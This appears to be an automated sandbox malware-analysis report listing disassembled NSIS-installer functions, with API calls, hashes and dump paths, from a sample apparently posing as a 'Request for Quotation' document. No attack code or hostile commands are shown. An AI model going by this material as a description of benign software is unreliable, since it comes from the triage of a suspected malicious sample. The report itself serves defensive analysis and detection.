API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: 51bd416a2a5802dcebde0e8cf043a9bf389b7035035a475ca1d7752134760d3a
Instruction ID: 78b67de6d16717a489960d5e53e23e1f77e1f7f38f635152e8b2699b13fa448d
Opcode Fuzzy Hash: 51bd416a2a5802dcebde0e8cf043a9bf389b7035035a475ca1d7752134760d3a
Instruction Fuzzy Hash: EAF06270504108ABEF205F50CD4ABAE3768BB00309F00803AFA16B91D0CBF95959DF59

Function 0040317D Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 108fileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00403192

Part of subcall function 0040330F: SetFilePointer.KERNEL32(00000000,00000000,00000000,00402FE7,?), ref: 0040331D

SetFilePointer.KERNEL32(00000000,00000000,?,00000000,?,00403095,00000004,00000000,00000000,?,?,?,0040300E,000000FF,00000000,00000000), ref: 004031C5
WriteFile.KERNEL32(0040BE78,?,00000000,00000000,00413E78,00004000,?,00000000,?,00403095,00000004,00000000,00000000,?,?), ref: 0040327F
SetFilePointer.KERNEL32(?,00000000,00000000,00413E78,00004000,?,00000000,?,00403095,00000004,00000000,00000000,?,?,?,0040300E), ref: 004032D1

Strings

x>A, xrefs: 004031F2

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: File$Pointer$CountTickWrite
String ID: x>A
API String ID: 2146148272-3854404225
Opcode ID: c3e212118fbef9e4adb068f61efe2bd575096358676594393449bc7ea11798d5
Instruction ID: e2b2982e6b1d623d5d036838b7619e310c478df2cbc778b1b7af49cc7c53be0d
Opcode Fuzzy Hash: c3e212118fbef9e4adb068f61efe2bd575096358676594393449bc7ea11798d5
Instruction Fuzzy Hash: 2A41AC72504201DFDB10AF29ED848A63BACFB54315720827FE910B22E0D7799D81DBED

Function 0040617E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00434000,00436800,00436800,00000000,00403332,00436800,76F93420,00403512), ref: 004061E1
CharNextW.USER32(?,?,?,00000000), ref: 004061F0
CharNextW.USER32(?,00434000,00436800,00436800,00000000,00403332,00436800,76F93420,00403512), ref: 004061F5
CharPrevW.USER32(?,?,00436800,00436800,00000000,00403332,00436800,76F93420,00403512), ref: 00406208

Strings

*?|<>/":, xrefs: 004061D0

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: bf19904cbb26e83114afcd58bf256c97857e1bb2abc1c9c3e805ea3815cda1ed
Instruction ID: e0619f79a043cffb4c3b00824a243f33de9385cd0f0c41224b0956f888f04927
Opcode Fuzzy Hash: bf19904cbb26e83114afcd58bf256c97857e1bb2abc1c9c3e805ea3815cda1ed
Instruction Fuzzy Hash: 3511C47680021295EB307B548C40BB762F8EF957A0F56403FE996B72C2E77C5C9282BD

Function 004024EE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54filestringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,0040A580,000000FF,00409D80,00000400,?,?,00000021), ref: 0040252F
lstrlenA.KERNEL32(00409D80,?,?,0040A580,000000FF,00409D80,00000400,?,?,00000021), ref: 00402536
WriteFile.KERNEL32(00000000,?,00409D80,00000000,?,?,00000000,00000011), ref: 00402568

Strings

8, xrefs: 0040250C

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: ByteCharFileMultiWideWritelstrlen
String ID: 8
API String ID: 1453599865-4194326291
Opcode ID: 9598e7bf0115d7b54bac2ba601592103c37d762dad4affe4391b543117dffca7
Instruction ID: b6741c74acf97665735c623be1ff62c12e58b25bca11cb73faf7774dd427f28f
Opcode Fuzzy Hash: 9598e7bf0115d7b54bac2ba601592103c37d762dad4affe4391b543117dffca7
Instruction Fuzzy Hash: A5019671A44204FBD700AFA0DE49EAF7278AB50319F20053BF102B61D2D7BC5D41DA2D

Function 00401752 Relevance: 7.6, APIs: 5, Instructions: 145stringtimeCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,00000000,00409580,00435000,?,?,00000031), ref: 00401793
CompareFileTime.KERNEL32(-00000014,?,00409580,00409580,00000000,00000000,00409580,00435000,?,?,00000031), ref: 004017B8

Part of subcall function 00405EEA: lstrcpynW.KERNEL32(?,?,00000400,004033C8,004281E0,NSIS Error), ref: 00405EF7

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: f5fb99fc77cb499af78de08433a29d52c657005603a562d7fa302922f95013b5
Instruction ID: bc5e94bc6114b027384bbb583ab77f55914405742357509a7a45d2f14902e26b
Opcode Fuzzy Hash: f5fb99fc77cb499af78de08433a29d52c657005603a562d7fa302922f95013b5
Instruction Fuzzy Hash: 0541A071900515BACF10BBB5CC46DAF7A78EF05368B20863BF521B11E2D73C8A419A6E

Function 00402B7A Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402B9B
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402BD7
RegCloseKey.ADVAPI32(?), ref: 00402BE0
RegCloseKey.ADVAPI32(?), ref: 00402C05
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402C23

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 91a0cc9b62795f3a8a15dda2708214bc4454f5c9052d466bcbd9eea0ad329b5b
Instruction ID: ada95b61e8ad34ac3bb2ad29be3e5f3f7733698153a8948b25f67961a2a4c07b
Opcode Fuzzy Hash: 91a0cc9b62795f3a8a15dda2708214bc4454f5c9052d466bcbd9eea0ad329b5b
Instruction Fuzzy Hash: 2E113D7190400CFEEF21AF90DE89DAE3B79EB54348F10447AFA05B10A0D3759E51EA69

Function 00401CE5 Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401CEB
GetClientRect.USER32(00000000,?), ref: 00401CF8
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D19
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D27
DeleteObject.GDI32(00000000), ref: 00401D36

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 548b7988845d34974c7096401ec02f3577b62e53f99ad47469e6fcf51543f742
Instruction ID: 62a37a396924b9b833916b179176740e0848b2f5cedec3081aefe4e9105dc113
Opcode Fuzzy Hash: 548b7988845d34974c7096401ec02f3577b62e53f99ad47469e6fcf51543f742
Instruction Fuzzy Hash: F0F0E1B2A04104BFDB01DBE4EE88DEEB7BCEB08305B104466F601F5190C674AD018B35

Function 00401D41 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D44
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D51
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D60
ReleaseDC.USER32(?,00000000), ref: 00401D71
CreateFontIndirectW.GDI32(0040BD88), ref: 00401DBC

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: 6de236fac86f4cc62a0a7bf8fa179f1b370f6b686e9a3dedb6aaee9d500d3606
Instruction ID: 3b80acf522b7bf2f021413e8febbbf72b8f641a50adb0d53ac9f1aa9edf06097
Opcode Fuzzy Hash: 6de236fac86f4cc62a0a7bf8fa179f1b370f6b686e9a3dedb6aaee9d500d3606
Instruction Fuzzy Hash: DF01D131948280AFEB016BB0AE0BB9ABF74DF95301F144479F245B62E2C77914049F7E

Function 00403062 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00409230,00000000,00000000,00000000,00000000,?,?,?,0040300E,000000FF,00000000,00000000,00409230,?), ref: 00403088
WriteFile.KERNEL32(00000000,00413E78,?,000000FF,00000000,00413E78,00004000,00409230,00409230,00000004,00000004,00000000,00000000,?,?), ref: 00403115

Strings

x>A, xrefs: 004030DE

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: File$PointerWrite
String ID: x>A
API String ID: 539440098-3854404225
Opcode ID: b27c88111c9479bfc016d655c0b2bfb1ccfb1f1bf46317cd24110ceb5cc412c0
Instruction ID: dc2c699ff297b31fb9e84695071232237a0836a1395088a2783af72dccbdbb3b
Opcode Fuzzy Hash: b27c88111c9479bfc016d655c0b2bfb1ccfb1f1bf46317cd24110ceb5cc412c0
Instruction Fuzzy Hash: A8312871500219EBDF10CF65EC44AAA3FBCEB08755F20813AF905AA1A0D3349E50DBA9

Function 00404978 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(004226D0,004226D0,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,0000040F,00000400,00000000), ref: 00404A09
wsprintfW.USER32 ref: 00404A12
SetDlgItemTextW.USER32(?,004226D0), ref: 00404A25

Strings

%u.%u%s%s, xrefs: 004049F3

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: a87d65089fa2b22b88f3ea6921d71f9a407986b65cfb91be1df2eb5324c2a4fc
Instruction ID: 6b2e2e184c3c611d12d6b53aa9198873543b26f6782fca7c8cbe4a2e3a07221a
Opcode Fuzzy Hash: a87d65089fa2b22b88f3ea6921d71f9a407986b65cfb91be1df2eb5324c2a4fc
Instruction Fuzzy Hash: 1411E2736001243BCB10A66D9C45EEF368D9BC6334F180637FA29F61D1DA799C2186EC

Function 00401BCA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C2A
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C42

Strings

!, xrefs: 00401BFE

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 5e1f230eecded0db815b532ef795033685ed3b5cfc855201c3a552c7fdd4c815
Instruction ID: 3450dd174e4bd499bd5dd80d9ee349d4783428bbf063aee010979b0fef1ae38f
Opcode Fuzzy Hash: 5e1f230eecded0db815b532ef795033685ed3b5cfc855201c3a552c7fdd4c815
Instruction Fuzzy Hash: D8217471A44109BEEF019FB0C94AFAD7B75EF44748F20413AF502B61D1D6B8A941DB18

Function 00402331 Relevance: 6.1, APIs: 4, Instructions: 71registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040236F
lstrlenW.KERNEL32(0040A580,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 0040238F
RegSetValueExW.ADVAPI32(?,?,?,?,0040A580,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023CB
RegCloseKey.ADVAPI32(?,?,?,0040A580,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID:
API String ID: 1356686001-0
Opcode ID: a8bbc55d30affaabc6cd86b2271235a8e32791a35e6a6594074806b6736fc700
Instruction ID: 3600ae87f41ed0761c30afac485ceb57641edc98565fd21ac0e2bbddf966c716
Opcode Fuzzy Hash: a8bbc55d30affaabc6cd86b2271235a8e32791a35e6a6594074806b6736fc700
Instruction Fuzzy Hash: 511160B1A00108BEEB10AFA4DD49EAFBB7CEB50358F10443AF905B61D1D7B85D419B69

Function 004015B9 Relevance: 6.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 004059E0: CharNextW.USER32(?,?,00424ED8,?,00405A54,00424ED8,00424ED8,00436800,?,76F92EE0,00405792,?,00436800,76F92EE0,00434000), ref: 004059EE
Part of subcall function 004059E0: CharNextW.USER32(00000000), ref: 004059F3
Part of subcall function 004059E0: CharNextW.USER32(00000000), ref: 00405A0B

CreateDirectoryW.KERNEL32(?,?,00000000,0000005C,00000000,000000F0), ref: 004015E3
GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015ED
GetFileAttributesW.KERNEL32(?,?,00000000,0000005C,00000000,000000F0), ref: 004015FD
SetCurrentDirectoryW.KERNEL32(?,00435000,?,00000000,000000F0), ref: 00401630

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID:
API String ID: 3751793516-0
Opcode ID: ab4beae8261b44de63f604e0a73f5b1755ddd155d8cc8e63c414e47e0b3a8ad9
Instruction ID: 793db7a5d63411832aed35bcc9698a3b838560232fc9f0aff2bd133e4d1ca9b1
Opcode Fuzzy Hash: ab4beae8261b44de63f604e0a73f5b1755ddd155d8cc8e63c414e47e0b3a8ad9
Instruction Fuzzy Hash: 8E11C271904100EBDF206FA0CD449AF7AB4FF14369B34463BF882B62E1D23D4941DA6E

Function 00401F08 Relevance: 6.1, APIs: 4, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 00401F17
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 00401F39
GetFileVersionInfoW.VERSION(?,?,00000000,00000000), ref: 00401F50
VerQueryValueW.VERSION(?,00409014,?,?,?,?,00000000,00000000), ref: 00401F69

Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: 0759821644e88925b44a7e9fb1563554894f113fe06b33f49c2a0c28299a5465
Instruction ID: 0d64a3d5d22a86ce83a9b45ae5cd800923300da454a86426803db7941f711343
Opcode Fuzzy Hash: 0759821644e88925b44a7e9fb1563554894f113fe06b33f49c2a0c28299a5465
Instruction Fuzzy Hash: 76113675A00208AFDB00DFA5C945DAEBBB9EF04344F20407AF905F62A1D7349E50CB68

Function 00401E51 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

Part of subcall function 00405665: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256D8,Error launching installer), ref: 0040568A
Part of subcall function 00405665: CloseHandle.KERNEL32(?), ref: 00405697

WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401E80
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401E95
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EA2
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EC9

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: d15ae0a482c79c0d8e7c95f8c2190dddee124483964ec219d5696f0573d40edc
Instruction ID: 1710045f99402437403c6baccff52884d9c8abed8acdccfc98223cb8aca5cd2d
Opcode Fuzzy Hash: d15ae0a482c79c0d8e7c95f8c2190dddee124483964ec219d5696f0573d40edc
Instruction Fuzzy Hash: DC11A171D04204EBCF109FA0CD459DE7AB5EB04318F20447BE505B61E0C3798A82DF99

Function 00405108 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405137
CallWindowProcW.USER32(?,?,?,?), ref: 00405188

Part of subcall function 0040417B: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040418D

Strings

, xrefs: 00405118

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
